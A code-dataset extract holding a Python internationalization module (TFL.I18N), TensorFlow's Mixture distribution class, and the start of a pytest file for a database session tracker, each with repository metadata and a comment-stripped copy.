# -*- coding: utf-8 -*- # Copyright (C) 2009-2019 Mag. Christian Tanzer. All rights reserved # Glasauergasse 32, A--1130 Wien, Austria. tanzer@swing.co.at # **************************************************************************** # # This module is licensed under the terms of the BSD 3-Clause License # <http://www.c-tanzer.at/license/bsd_3c.html>. # **************************************************************************** # #++ # Name # TFL.I18N # # Purpose # Support for internationalization (I18N) # # Revision Dates # 28-Oct-2009 (CT) Creation # 19-Jan-2010 (CT) `_Tn` changed to make `plural` and `n` optional # 21-Jan-2010 (MG) Real translation added # 21-Jan-2010 (CT) Module-level aliases added, `I18N.ungettext` corrected # 21-Jan-2010 (CT) `load_languages` and `use_language` added # 21-Jan-2010 (MG) Reworked # 21-Jan-2010 (MG) `save_eval` added # 25-Jan-2010 (MG) Support list of languages in `use` and `context` # 31-Jan-2010 (CT) `import babel.support` moved inside functions # 18-Feb-2010 (CT) `Name` added # 22-Feb-2010 (CT) `choose` factored, `Config.choice` added # 15-Apr-2010 (MG) `Translations` added and used # 16-Jun-2010 (CT) `encoding` added # 16-Jun-2010 (CT) `encoding` changed to Record with fields `file_system`, # `input`, and `output` # 16-Jun-2010 (CT) s/print/pyk.fprint/ # 17-Jun-2010 (CT) `encode_f` and `encode_o` added # 18-Jun-2010 (CT) `Translations` factored to `TFL.Babel` # 18-Jun-2010 (CT) `decode` added # 4-Aug-2010 (MG) `load`: `log_level` added # 30-Nov-2010 (CT) s/save_eval/safe_eval/ and removed `strip`-call from it # 23-Mar-2011 (CT) `_T` defined (instead of aliased) to guard against # empty argument # 20-Jul-2011 (CT) `_Config_._properties` added # 20-Jul-2011 (CT) Use encoding information from `TFL.user_config` # 4-Dec-2013 (CT) Change `safe_eval` to not add coding cookie; # `eval` fails for `unicode` value containing coding cookie # 9-Dec-2013 (CT) Fix 3-compatibility # 26-Mar-2014 (CT) Change `ungettext` to use `ugettext` for `n == 1` # 31-Mar-2014 (CT) Add guard for `AttributeError` to `ugettext`, `ungettext` # (3-compatibility for `gettext.NullTranslations`) # 31-Mar-2014 (CT) Use `print` in doctest of `context` (3-compatibility) # 8-Oct-2015 (CT) Change `__getattr__` to *not* handle `__XXX__` # 11-Feb-2016 (CT) Add `test_language` # 9-Dec-2019 (CT) Change `decode` to use `pyk.decoded`, not home-grown code # * Python 3 compatibility # ««revision-date»»··· #-- from _TFL import TFL from _TFL.pyk import pyk from _TFL.Record import Record from _TFL.predicate import first, split_hst import _TFL.Decorator import _TFL.User_Config import gettext import locale import sys class _Config_ (Record) : _properties = ("choice", ) @property def choice (self) : """Language choice.""" return TFL.user_config.language # end def choice @choice.setter def choice (self, value) : TFL.user_config.language = value # end def choice # end class _Config_ Config = _Config_ \ ( Languages = {"" : gettext.NullTranslations ()} , locale_dir = "locale" , domains = ("messages", ) ) Config.current = Config.Null = Config.Languages [""] class _Name_ (TFL.Meta.Object) : """Translator for names""" def __getattr__ (self, name) : if name.startswith ("__") and name.endswith ("__") : ### Placate inspect.unwrap of Python 3.5, ### which accesses `__wrapped__` and eventually throws `ValueError` return getattr (self.__super, name) return _T (name) # end def __getattr__ def __getitem__ (self, key) : return _T (key) # end def __getitem__ # end class _Name_ def add (self, * languages, ** kw) : locale_dir = kw.pop ("locale_dir", Config.locale_dir) domains = kw.pop ("domains", Config.domains) use_lang = kw.pop ("use", "") _load_languages (locale_dir, languages, domains) if use_lang : use (use_lang) # end def add def choose (* lang) : def _gen (lang) : for l in lang : yield l, l for l in lang : if l : a, _, b = split_hst (l, "_") yield a, b or a yield "", "" return first (l for l in _gen (lang) if l [0] in Config.Languages) # end def choose @TFL.Contextmanager def context (* lang) : """Temporarily change the translation language ### Let's fake some Translations >>> from _TFL._Babel.Translations import Translations >>> Config.Languages ["l1"] = l1 = Translations () >>> Config.Languages ["l2"] = l2 = Translations () >>> l1._catalog = dict (text1 = u"L1: Text 1", text2 = u"L1: Text 2") >>> l2._catalog = dict (text1 = u"L2: Text 1", text2 = u"L2: Text 2") >>> print (_T ("text1")) text1 >>> with context ("l1") : ... print (_T ("text1")) ... print (_T ("text2")) L1: Text 1 L1: Text 2 >>> with context ("l2") : ... print (_T ("text1")) ... print (_T ("text2")) L2: Text 1 L2: Text 2 """ old = Config.current, Config.choice try : use (* lang) yield finally : Config.current, Config.choice = old # end def context def decode (s) : """Decode `s` using `TFL.user_config.input_encoding`.""" s = pyk.decoded (s, TFL.user_config.input_encoding) return s # end def decode def encode_f (s, errors = "replace") : """Encodes `s` using `TFL.user_config.file_system_encoding`.""" return s.encode (TFL.user_config.file_system_encoding, errors) # end def encode_f def encode_o (s, errors = "replace") : """Encodes `s` using `TFL.user_config.output_encoding`.""" return s.encode (TFL.user_config.output_encoding, errors) # end def encode_o def load (* languages, ** kw) : locale_dir = kw.pop ("locale_dir", Config.locale_dir) domains = kw.pop ("domains", Config.domains) use_lang = kw.pop ("use", "") log_level = kw.pop ("log_level", 5) Config.domains = domains Config.locale_dir = locale_dir _load_languages (locale_dir, languages, domains, log_level) if use_lang: use (use_lang) # end def load def _load_languages (locale_dir, languages, domains, log_level) : from _TFL._Babel.Translations import Translations if not isinstance (domains, (list, tuple)) : domains = (domains, ) first_dom = domains [0] domains = domains [1:] for lang in languages : Config.Languages [lang] = lang_trans = Translations.load \ (locale_dir, lang, first_dom) if not isinstance (lang_trans, Translations) and log_level >= 5 : print \ ( "*** Warning, language %s for domain %s not found!" % (lang, first_dom) ) for d in domains : new_domain = Translations.load (locale_dir, lang, d) if not isinstance (new_domain, Translations) and log_level >= 5 : print \ ( "*** Warning, language %s for domain %s not found!" % (lang, d) ) lang_trans.merge (new_domain) # end def _load_languages def mark (text): """Mark `text` for translation.""" return str (text) # end def mark def safe_eval (value, encoding = None) : if encoding and not isinstance (value, str) : try : value = value.decode (encoding) except Exception as exc : print (repr (value), encoding) raise try : result = TFL.r_eval (value) except SyntaxError : print (value) raise return result # end def safe_eval @TFL.Contextmanager def test_language (lang) : """Load and use language `lang` from `locale` in library directory.""" from _TFL.sos import path ld = path.join \ (path.abspath (path.dirname (path.dirname (__file__))), "locale") load (lang, locale_dir = ld) with context (lang) : yield # end def test_language def ugettext (text, trans = None) : """Return the localized translation of `text` (as unicode).""" try : translator = (trans or Config.current).ugettext except AttributeError : return text else : return translator (text) # end def ugettext def ungettext (singular, plural = None, n = 99, trans = None) : """Return the localized translation of `singular/plural` for the plural form appropriate for `n` (as unicode). """ if n == 1 : return ugettext (singular, trans) else : if plural is None : plural = singular + "s" try : translator = (trans or Config.current).ungettext except AttributeError : return plural else : return translator (singular, plural, n) # end def ungettext def use (* lang) : Config.choice = (l, v) = choose (* lang) Config.current = Config.Languages [l] # end def use _ = mark def _T (s) : if s : return ugettext (s) return s # end def _T _Tn = ungettext Name = _Name_ () if __name__ != "__main__" : TFL._Export_Module () ### __END__ TFL.I18N

32.340206

80

0.592817

from _TFL import TFL from _TFL.pyk import pyk from _TFL.Record import Record from _TFL.predicate import first, split_hst import _TFL.Decorator import _TFL.User_Config import gettext import locale import sys class _Config_ (Record) : _properties = ("choice", ) @property def choice (self) : return TFL.user_config.language @choice.setter def choice (self, value) : TFL.user_config.language = value Config = _Config_ \ ( Languages = {"" : gettext.NullTranslations ()} , locale_dir = "locale" , domains = ("messages", ) ) Config.current = Config.Null = Config.Languages [""] class _Name_ (TFL.Meta.Object) : def __getattr__ (self, name) : if name.startswith ("__") and name.endswith ("__") : = kw.pop ("locale_dir", Config.locale_dir) domains = kw.pop ("domains", Config.domains) use_lang = kw.pop ("use", "") _load_languages (locale_dir, languages, domains) if use_lang : use (use_lang) def choose (* lang) : def _gen (lang) : for l in lang : yield l, l for l in lang : if l : a, _, b = split_hst (l, "_") yield a, b or a yield "", "" return first (l for l in _gen (lang) if l [0] in Config.Languages) @TFL.Contextmanager def context (* lang) : old = Config.current, Config.choice try : use (* lang) yield finally : Config.current, Config.choice = old def decode (s) : s = pyk.decoded (s, TFL.user_config.input_encoding) return s def encode_f (s, errors = "replace") : return s.encode (TFL.user_config.file_system_encoding, errors) def encode_o (s, errors = "replace") : return s.encode (TFL.user_config.output_encoding, errors) def load (* languages, ** kw) : locale_dir = kw.pop ("locale_dir", Config.locale_dir) domains = kw.pop ("domains", Config.domains) use_lang = kw.pop ("use", "") log_level = kw.pop ("log_level", 5) Config.domains = domains Config.locale_dir = locale_dir _load_languages (locale_dir, languages, domains, log_level) if use_lang: use (use_lang) def _load_languages (locale_dir, languages, domains, log_level) : from _TFL._Babel.Translations import Translations if not isinstance (domains, (list, tuple)) : domains = (domains, ) first_dom = domains [0] domains = domains [1:] for lang in languages : Config.Languages [lang] = lang_trans = Translations.load \ (locale_dir, lang, first_dom) if not isinstance (lang_trans, Translations) and log_level >= 5 : print \ ( "*** Warning, language %s for domain %s not found!" % (lang, first_dom) ) for d in domains : new_domain = Translations.load (locale_dir, lang, d) if not isinstance (new_domain, Translations) and log_level >= 5 : print \ ( "*** Warning, language %s for domain %s not found!" % (lang, d) ) lang_trans.merge (new_domain) def mark (text): return str (text) def safe_eval (value, encoding = None) : if encoding and not isinstance (value, str) : try : value = value.decode (encoding) except Exception as exc : print (repr (value), encoding) raise try : result = TFL.r_eval (value) except SyntaxError : print (value) raise return result @TFL.Contextmanager def test_language (lang) : from _TFL.sos import path ld = path.join \ (path.abspath (path.dirname (path.dirname (__file__))), "locale") load (lang, locale_dir = ld) with context (lang) : yield def ugettext (text, trans = None) : try : translator = (trans or Config.current).ugettext except AttributeError : return text else : return translator (text) def ungettext (singular, plural = None, n = 99, trans = None) : if n == 1 : return ugettext (singular, trans) else : if plural is None : plural = singular + "s" try : translator = (trans or Config.current).ungettext except AttributeError : return plural else : return translator (singular, plural, n) def use (* lang) : Config.choice = (l, v) = choose (* lang) Config.current = Config.Languages [l] _ = mark def _T (s) : if s : return ugettext (s) return s _Tn = ungettext Name = _Name_ () if __name__ != "__main__" : TFL._Export_Module ()

true

1c421c8fa09d98cc032788271130bc9b9f3fb194

17,010

py

Python

tensorflow/contrib/distributions/python/ops/mixture.py

gnoses/TensorFlow

63a21e054007d86269ed1ad0145ebce04ee57a81

[ "Apache-2.0" ]

1

2017-02-24T05:09:40.000Z

tensorflow/contrib/distributions/python/ops/mixture.py

gnoses/TensorFlow

63a21e054007d86269ed1ad0145ebce04ee57a81

[ "Apache-2.0" ]

null

tensorflow/contrib/distributions/python/ops/mixture.py

gnoses/TensorFlow

63a21e054007d86269ed1ad0145ebce04ee57a81

[ "Apache-2.0" ]

1

2021-02-16T15:38:50.000Z

# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """The Mixture distribution class.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from tensorflow.contrib.distributions.python.ops import categorical from tensorflow.contrib.distributions.python.ops import distribution from tensorflow.contrib.distributions.python.ops import distribution_util from tensorflow.python.framework import ops from tensorflow.python.framework import tensor_shape from tensorflow.python.framework import tensor_util from tensorflow.python.ops import array_ops from tensorflow.python.ops import check_ops from tensorflow.python.ops import data_flow_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import nn_ops class Mixture(distribution.Distribution): """Mixture distribution. The `Mixture` object implements batched mixture distributions. The mixture model is defined by a `Categorical` distribution (the mixture) and a python list of `Distribution` objects. Methods supported include `log_prob`, `prob`, `mean`, `sample`, and `entropy_lower_bound`. """ def __init__(self, cat, components, validate_args=False, allow_nan_stats=True, name="Mixture"): """Initialize a Mixture distribution. A `Mixture` is defined by a `Categorical` (`cat`, representing the mixture probabilities) and a list of `Distribution` objects all having matching dtype, batch shape, event shape, and continuity properties (the components). The `num_classes` of `cat` must be possible to infer at graph construction time and match `len(components)`. Args: cat: A `Categorical` distribution instance, representing the probabilities of `distributions`. components: A list or tuple of `Distribution` instances. Each instance must have the same type, be defined on the same domain, and have matching `event_shape` and `batch_shape`. validate_args: Python `bool`, default `False`. If `True`, raise a runtime error if batch or event ranks are inconsistent between cat and any of the distributions. This is only checked if the ranks cannot be determined statically at graph construction time. allow_nan_stats: Boolean, default `True`. If `False`, raise an exception if a statistic (e.g. mean/mode/etc...) is undefined for any batch member. If `True`, batch members with valid parameters leading to undefined statistics will return NaN for this statistic. name: A name for this distribution (optional). Raises: TypeError: If cat is not a `Categorical`, or `components` is not a list or tuple, or the elements of `components` are not instances of `Distribution`, or do not have matching `dtype`. ValueError: If `components` is an empty list or tuple, or its elements do not have a statically known event rank. If `cat.num_classes` cannot be inferred at graph creation time, or the constant value of `cat.num_classes` is not equal to `len(components)`, or all `components` and `cat` do not have matching static batch shapes, or all components do not have matching static event shapes. """ parameters = locals() if not isinstance(cat, categorical.Categorical): raise TypeError("cat must be a Categorical distribution, but saw: %s" % cat) if not components: raise ValueError("components must be a non-empty list or tuple") if not isinstance(components, (list, tuple)): raise TypeError("components must be a list or tuple, but saw: %s" % components) if not all(isinstance(c, distribution.Distribution) for c in components): raise TypeError( "all entries in components must be Distribution instances" " but saw: %s" % components) dtype = components[0].dtype if not all(d.dtype == dtype for d in components): raise TypeError("All components must have the same dtype, but saw " "dtypes: %s" % [(d.name, d.dtype) for d in components]) is_continuous = components[0].is_continuous if not all(d.is_continuous == is_continuous for d in components): raise TypeError( "All components must either be continuous or not, but continuity " "values are: %s" % [(d.name, d.is_continuous) for d in components]) static_event_shape = components[0].event_shape static_batch_shape = cat.batch_shape for d in components: static_event_shape = static_event_shape.merge_with(d.event_shape) static_batch_shape = static_batch_shape.merge_with(d.batch_shape) if static_event_shape.ndims is None: raise ValueError( "Expected to know rank(event_shape) from components, but " "none of the components provide a static number of ndims") # Ensure that all batch and event ndims are consistent. with ops.name_scope(name, values=[cat.logits]) as ns: num_components = cat.event_size static_num_components = tensor_util.constant_value(num_components) if static_num_components is None: raise ValueError( "Could not infer number of classes from cat and unable " "to compare this value to the number of components passed in.") # Possibly convert from numpy 0-D array. static_num_components = int(static_num_components) if static_num_components != len(components): raise ValueError("cat.num_classes != len(components): %d vs. %d" % (static_num_components, len(components))) cat_batch_shape = cat.batch_shape_tensor() cat_batch_rank = array_ops.size(cat_batch_shape) if validate_args: batch_shapes = [d.batch_shape_tensor() for d in components] batch_ranks = [array_ops.size(bs) for bs in batch_shapes] check_message = ("components[%d] batch shape must match cat " "batch shape") self._assertions = [ check_ops.assert_equal( cat_batch_rank, batch_ranks[di], message=check_message % di) for di in range(len(components)) ] self._assertions += [ check_ops.assert_equal( cat_batch_shape, batch_shapes[di], message=check_message % di) for di in range(len(components)) ] else: self._assertions = [] self._cat = cat self._components = list(components) self._num_components = static_num_components self._static_event_shape = static_event_shape self._static_batch_shape = static_batch_shape # We let the Mixture distribution access _graph_parents since its arguably # more like a baseclass. graph_parents = self._cat._graph_parents # pylint: disable=protected-access for c in self._components: graph_parents += c._graph_parents # pylint: disable=protected-access super(Mixture, self).__init__( dtype=dtype, reparameterization_type=distribution.NOT_REPARAMETERIZED, is_continuous=is_continuous, validate_args=validate_args, allow_nan_stats=allow_nan_stats, parameters=parameters, graph_parents=graph_parents, name=ns) @property def cat(self): return self._cat @property def components(self): return self._components @property def num_components(self): return self._num_components def _batch_shape_tensor(self): return self._cat.batch_shape_tensor() def _batch_shape(self): return self._static_batch_shape def _event_shape_tensor(self): return self._components[0].event_shape_tensor() def _event_shape(self): return self._static_event_shape def _mean(self): with ops.control_dependencies(self._assertions): distribution_means = [d.mean() for d in self.components] cat_probs = self._cat_probs(log_probs=False) # This was checked to not be None at construction time. static_event_rank = self.event_shape.ndims # Expand the rank of x up to static_event_rank times so that # broadcasting works correctly. def expand(x): expanded_x = x for _ in range(static_event_rank): expanded_x = array_ops.expand_dims(expanded_x, -1) return expanded_x cat_probs = [expand(c_p) for c_p in cat_probs] partial_means = [ c_p * m for (c_p, m) in zip(cat_probs, distribution_means) ] # These should all be the same shape by virtue of matching # batch_shape and event_shape. return math_ops.add_n(partial_means) def _log_prob(self, x): with ops.control_dependencies(self._assertions): x = ops.convert_to_tensor(x, name="x") distribution_log_probs = [d.log_prob(x) for d in self.components] cat_log_probs = self._cat_probs(log_probs=True) final_log_probs = [ cat_lp + d_lp for (cat_lp, d_lp) in zip(cat_log_probs, distribution_log_probs) ] concat_log_probs = array_ops.stack(final_log_probs, 0) log_sum_exp = math_ops.reduce_logsumexp(concat_log_probs, [0]) return log_sum_exp def _prob(self, x): return math_ops.exp(self._log_prob(x)) def _sample_n(self, n, seed=None): with ops.control_dependencies(self._assertions): n = ops.convert_to_tensor(n, name="n") static_n = tensor_util.constant_value(n) n = int(static_n) if static_n is not None else n cat_samples = self.cat.sample(n, seed=seed) static_samples_shape = cat_samples.get_shape() if static_samples_shape.is_fully_defined(): samples_shape = static_samples_shape.as_list() samples_size = static_samples_shape.num_elements() else: samples_shape = array_ops.shape(cat_samples) samples_size = array_ops.size(cat_samples) static_batch_shape = self.batch_shape if static_batch_shape.is_fully_defined(): batch_shape = static_batch_shape.as_list() batch_size = static_batch_shape.num_elements() else: batch_shape = self.batch_shape_tensor() batch_size = array_ops.reduce_prod(batch_shape) static_event_shape = self.event_shape if static_event_shape.is_fully_defined(): event_shape = np.array(static_event_shape.as_list(), dtype=np.int32) else: event_shape = self.event_shape_tensor() # Get indices into the raw cat sampling tensor. We will # need these to stitch sample values back out after sampling # within the component partitions. samples_raw_indices = array_ops.reshape( math_ops.range(0, samples_size), samples_shape) # Partition the raw indices so that we can use # dynamic_stitch later to reconstruct the samples from the # known partitions. partitioned_samples_indices = data_flow_ops.dynamic_partition( data=samples_raw_indices, partitions=cat_samples, num_partitions=self.num_components) # Copy the batch indices n times, as we will need to know # these to pull out the appropriate rows within the # component partitions. batch_raw_indices = array_ops.reshape( array_ops.tile(math_ops.range(0, batch_size), [n]), samples_shape) # Explanation of the dynamic partitioning below: # batch indices are i.e., [0, 1, 0, 1, 0, 1] # Suppose partitions are: # [1 1 0 0 1 1] # After partitioning, batch indices are cut as: # [batch_indices[x] for x in 2, 3] # [batch_indices[x] for x in 0, 1, 4, 5] # i.e. # [1 1] and [0 0 0 0] # Now we sample n=2 from part 0 and n=4 from part 1. # For part 0 we want samples from batch entries 1, 1 (samples 0, 1), # and for part 1 we want samples from batch entries 0, 0, 0, 0 # (samples 0, 1, 2, 3). partitioned_batch_indices = data_flow_ops.dynamic_partition( data=batch_raw_indices, partitions=cat_samples, num_partitions=self.num_components) samples_class = [None for _ in range(self.num_components)] for c in range(self.num_components): n_class = array_ops.size(partitioned_samples_indices[c]) seed = distribution_util.gen_new_seed(seed, "mixture") samples_class_c = self.components[c].sample(n_class, seed=seed) # Pull out the correct batch entries from each index. # To do this, we may have to flatten the batch shape. # For sample s, batch element b of component c, we get the # partitioned batch indices from # partitioned_batch_indices[c]; and shift each element by # the sample index. The final lookup can be thought of as # a matrix gather along locations (s, b) in # samples_class_c where the n_class rows correspond to # samples within this component and the batch_size columns # correspond to batch elements within the component. # # Thus the lookup index is # lookup[c, i] = batch_size * s[i] + b[c, i] # for i = 0 ... n_class[c] - 1. lookup_partitioned_batch_indices = ( batch_size * math_ops.range(n_class) + partitioned_batch_indices[c]) samples_class_c = array_ops.reshape( samples_class_c, array_ops.concat([[n_class * batch_size], event_shape], 0)) samples_class_c = array_ops.gather( samples_class_c, lookup_partitioned_batch_indices, name="samples_class_c_gather") samples_class[c] = samples_class_c # Stitch back together the samples across the components. lhs_flat_ret = data_flow_ops.dynamic_stitch( indices=partitioned_samples_indices, data=samples_class) # Reshape back to proper sample, batch, and event shape. ret = array_ops.reshape(lhs_flat_ret, array_ops.concat([samples_shape, self.event_shape_tensor()], 0)) ret.set_shape( tensor_shape.TensorShape(static_samples_shape).concatenate( self.event_shape)) return ret def entropy_lower_bound(self, name="entropy_lower_bound"): r"""A lower bound on the entropy of this mixture model. The bound below is not always very tight, and its usefulness depends on the mixture probabilities and the components in use. A lower bound is useful for ELBO when the `Mixture` is the variational distribution: \$ \log p(x) >= ELBO = \int q(z) \log p(x, z) dz + H[q] \$ where \$ p \$ is the prior distribution, \$ q \$ is the variational, and \$ H[q] \$ is the entropy of \$ q \$. If there is a lower bound \$ G[q] \$ such that \$ H[q] \geq G[q] \$ then it can be used in place of \$ H[q] \$. For a mixture of distributions \$ q(Z) = \sum_i c_i q_i(Z) \$ with \$ \sum_i c_i = 1 \$, by the concavity of \$ f(x) = -x \log x \$, a simple lower bound is: \$ \begin{align} H[q] & = - \int q(z) \log q(z) dz \\\ & = - \int (\sum_i c_i q_i(z)) \log(\sum_i c_i q_i(z)) dz \\\ & \geq - \sum_i c_i \int q_i(z) \log q_i(z) dz \\\ & = \sum_i c_i H[q_i] \end{align} \$ This is the term we calculate below for \$ G[q] \$. Args: name: A name for this operation (optional). Returns: A lower bound on the Mixture's entropy. """ with self._name_scope(name, values=[self.cat.logits]): with ops.control_dependencies(self._assertions): distribution_entropies = [d.entropy() for d in self.components] cat_probs = self._cat_probs(log_probs=False) partial_entropies = [ c_p * m for (c_p, m) in zip(cat_probs, distribution_entropies) ] # These are all the same shape by virtue of matching batch_shape return math_ops.add_n(partial_entropies) def _cat_probs(self, log_probs): """Get a list of num_components batchwise probabilities.""" which_softmax = nn_ops.log_softmax if log_probs else nn_ops.softmax cat_probs = which_softmax(self.cat.logits) cat_probs = array_ops.unstack(cat_probs, num=self.num_components, axis=-1) return cat_probs

42

80

0.671193

from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from tensorflow.contrib.distributions.python.ops import categorical from tensorflow.contrib.distributions.python.ops import distribution from tensorflow.contrib.distributions.python.ops import distribution_util from tensorflow.python.framework import ops from tensorflow.python.framework import tensor_shape from tensorflow.python.framework import tensor_util from tensorflow.python.ops import array_ops from tensorflow.python.ops import check_ops from tensorflow.python.ops import data_flow_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import nn_ops class Mixture(distribution.Distribution): def __init__(self, cat, components, validate_args=False, allow_nan_stats=True, name="Mixture"): parameters = locals() if not isinstance(cat, categorical.Categorical): raise TypeError("cat must be a Categorical distribution, but saw: %s" % cat) if not components: raise ValueError("components must be a non-empty list or tuple") if not isinstance(components, (list, tuple)): raise TypeError("components must be a list or tuple, but saw: %s" % components) if not all(isinstance(c, distribution.Distribution) for c in components): raise TypeError( "all entries in components must be Distribution instances" " but saw: %s" % components) dtype = components[0].dtype if not all(d.dtype == dtype for d in components): raise TypeError("All components must have the same dtype, but saw " "dtypes: %s" % [(d.name, d.dtype) for d in components]) is_continuous = components[0].is_continuous if not all(d.is_continuous == is_continuous for d in components): raise TypeError( "All components must either be continuous or not, but continuity " "values are: %s" % [(d.name, d.is_continuous) for d in components]) static_event_shape = components[0].event_shape static_batch_shape = cat.batch_shape for d in components: static_event_shape = static_event_shape.merge_with(d.event_shape) static_batch_shape = static_batch_shape.merge_with(d.batch_shape) if static_event_shape.ndims is None: raise ValueError( "Expected to know rank(event_shape) from components, but " "none of the components provide a static number of ndims") with ops.name_scope(name, values=[cat.logits]) as ns: num_components = cat.event_size static_num_components = tensor_util.constant_value(num_components) if static_num_components is None: raise ValueError( "Could not infer number of classes from cat and unable " "to compare this value to the number of components passed in.") static_num_components = int(static_num_components) if static_num_components != len(components): raise ValueError("cat.num_classes != len(components): %d vs. %d" % (static_num_components, len(components))) cat_batch_shape = cat.batch_shape_tensor() cat_batch_rank = array_ops.size(cat_batch_shape) if validate_args: batch_shapes = [d.batch_shape_tensor() for d in components] batch_ranks = [array_ops.size(bs) for bs in batch_shapes] check_message = ("components[%d] batch shape must match cat " "batch shape") self._assertions = [ check_ops.assert_equal( cat_batch_rank, batch_ranks[di], message=check_message % di) for di in range(len(components)) ] self._assertions += [ check_ops.assert_equal( cat_batch_shape, batch_shapes[di], message=check_message % di) for di in range(len(components)) ] else: self._assertions = [] self._cat = cat self._components = list(components) self._num_components = static_num_components self._static_event_shape = static_event_shape self._static_batch_shape = static_batch_shape graph_parents = self._cat._graph_parents for c in self._components: graph_parents += c._graph_parents super(Mixture, self).__init__( dtype=dtype, reparameterization_type=distribution.NOT_REPARAMETERIZED, is_continuous=is_continuous, validate_args=validate_args, allow_nan_stats=allow_nan_stats, parameters=parameters, graph_parents=graph_parents, name=ns) @property def cat(self): return self._cat @property def components(self): return self._components @property def num_components(self): return self._num_components def _batch_shape_tensor(self): return self._cat.batch_shape_tensor() def _batch_shape(self): return self._static_batch_shape def _event_shape_tensor(self): return self._components[0].event_shape_tensor() def _event_shape(self): return self._static_event_shape def _mean(self): with ops.control_dependencies(self._assertions): distribution_means = [d.mean() for d in self.components] cat_probs = self._cat_probs(log_probs=False) static_event_rank = self.event_shape.ndims def expand(x): expanded_x = x for _ in range(static_event_rank): expanded_x = array_ops.expand_dims(expanded_x, -1) return expanded_x cat_probs = [expand(c_p) for c_p in cat_probs] partial_means = [ c_p * m for (c_p, m) in zip(cat_probs, distribution_means) ] return math_ops.add_n(partial_means) def _log_prob(self, x): with ops.control_dependencies(self._assertions): x = ops.convert_to_tensor(x, name="x") distribution_log_probs = [d.log_prob(x) for d in self.components] cat_log_probs = self._cat_probs(log_probs=True) final_log_probs = [ cat_lp + d_lp for (cat_lp, d_lp) in zip(cat_log_probs, distribution_log_probs) ] concat_log_probs = array_ops.stack(final_log_probs, 0) log_sum_exp = math_ops.reduce_logsumexp(concat_log_probs, [0]) return log_sum_exp def _prob(self, x): return math_ops.exp(self._log_prob(x)) def _sample_n(self, n, seed=None): with ops.control_dependencies(self._assertions): n = ops.convert_to_tensor(n, name="n") static_n = tensor_util.constant_value(n) n = int(static_n) if static_n is not None else n cat_samples = self.cat.sample(n, seed=seed) static_samples_shape = cat_samples.get_shape() if static_samples_shape.is_fully_defined(): samples_shape = static_samples_shape.as_list() samples_size = static_samples_shape.num_elements() else: samples_shape = array_ops.shape(cat_samples) samples_size = array_ops.size(cat_samples) static_batch_shape = self.batch_shape if static_batch_shape.is_fully_defined(): batch_shape = static_batch_shape.as_list() batch_size = static_batch_shape.num_elements() else: batch_shape = self.batch_shape_tensor() batch_size = array_ops.reduce_prod(batch_shape) static_event_shape = self.event_shape if static_event_shape.is_fully_defined(): event_shape = np.array(static_event_shape.as_list(), dtype=np.int32) else: event_shape = self.event_shape_tensor() samples_raw_indices = array_ops.reshape( math_ops.range(0, samples_size), samples_shape) partitioned_samples_indices = data_flow_ops.dynamic_partition( data=samples_raw_indices, partitions=cat_samples, num_partitions=self.num_components) batch_raw_indices = array_ops.reshape( array_ops.tile(math_ops.range(0, batch_size), [n]), samples_shape) partitioned_batch_indices = data_flow_ops.dynamic_partition( data=batch_raw_indices, partitions=cat_samples, num_partitions=self.num_components) samples_class = [None for _ in range(self.num_components)] for c in range(self.num_components): n_class = array_ops.size(partitioned_samples_indices[c]) seed = distribution_util.gen_new_seed(seed, "mixture") samples_class_c = self.components[c].sample(n_class, seed=seed) lookup_partitioned_batch_indices = ( batch_size * math_ops.range(n_class) + partitioned_batch_indices[c]) samples_class_c = array_ops.reshape( samples_class_c, array_ops.concat([[n_class * batch_size], event_shape], 0)) samples_class_c = array_ops.gather( samples_class_c, lookup_partitioned_batch_indices, name="samples_class_c_gather") samples_class[c] = samples_class_c lhs_flat_ret = data_flow_ops.dynamic_stitch( indices=partitioned_samples_indices, data=samples_class) ret = array_ops.reshape(lhs_flat_ret, array_ops.concat([samples_shape, self.event_shape_tensor()], 0)) ret.set_shape( tensor_shape.TensorShape(static_samples_shape).concatenate( self.event_shape)) return ret def entropy_lower_bound(self, name="entropy_lower_bound"): with self._name_scope(name, values=[self.cat.logits]): with ops.control_dependencies(self._assertions): distribution_entropies = [d.entropy() for d in self.components] cat_probs = self._cat_probs(log_probs=False) partial_entropies = [ c_p * m for (c_p, m) in zip(cat_probs, distribution_entropies) ] return math_ops.add_n(partial_entropies) def _cat_probs(self, log_probs): which_softmax = nn_ops.log_softmax if log_probs else nn_ops.softmax cat_probs = which_softmax(self.cat.logits) cat_probs = array_ops.unstack(cat_probs, num=self.num_components, axis=-1) return cat_probs

true

1c421d28381f9d123cea2b322a695d6ce0506811

3,350

py

Python

tests/h/util/session_tracker_test.py

julien-cheng/h

36c8ec044725720cf36f0986cdf025395aca8929

[ "BSD-2-Clause" ]

2

2019-08-04T07:22:11.000Z

2020-07-17T05:01:41.000Z

tests/h/util/session_tracker_test.py

fuelpress/i.fuel.press

af7b25895d813af0fef656dcf483afe852a99d76

[ "BSD-2-Clause" ]

null

tests/h/util/session_tracker_test.py

fuelpress/i.fuel.press

af7b25895d813af0fef656dcf483afe852a99d76

[ "BSD-2-Clause" ]

null

from __future__ import unicode_literals from uuid import uuid4 import pytest from sqlalchemy.orm.util import identity_key from h.db.types import _get_urlsafe_from_hex from h.models import Annotation, Document from h.util.session_tracker import Tracker, ObjectState def generate_ann_id(): """ Generate a random annotation identifier in the encoded form used by the API. """ return _get_urlsafe_from_hex(str(uuid4())) class TestTracker(object): def test_uncommitted_changes_returns_unflushed_changes( self, tracker, session, expected_changes ): added_entry, changed_entry, deleted_entry = expected_changes changes = tracker.uncommitted_changes() assert added_entry in changes assert changed_entry in changes assert deleted_entry in changes def test_uncommitted_changes_returns_flushed_changes( self, tracker, session, expected_changes ): added_entry, changed_entry, deleted_entry = expected_changes session.flush() changes = tracker.uncommitted_changes() assert added_entry in changes assert changed_entry in changes assert deleted_entry in changes def test_uncommitted_changes_does_not_return_committed_changes( self, tracker, session ): session.commit() assert tracker.uncommitted_changes() == [] def test_uncommitted_changes_does_not_return_rolled_back_changes( self, tracker, session ): 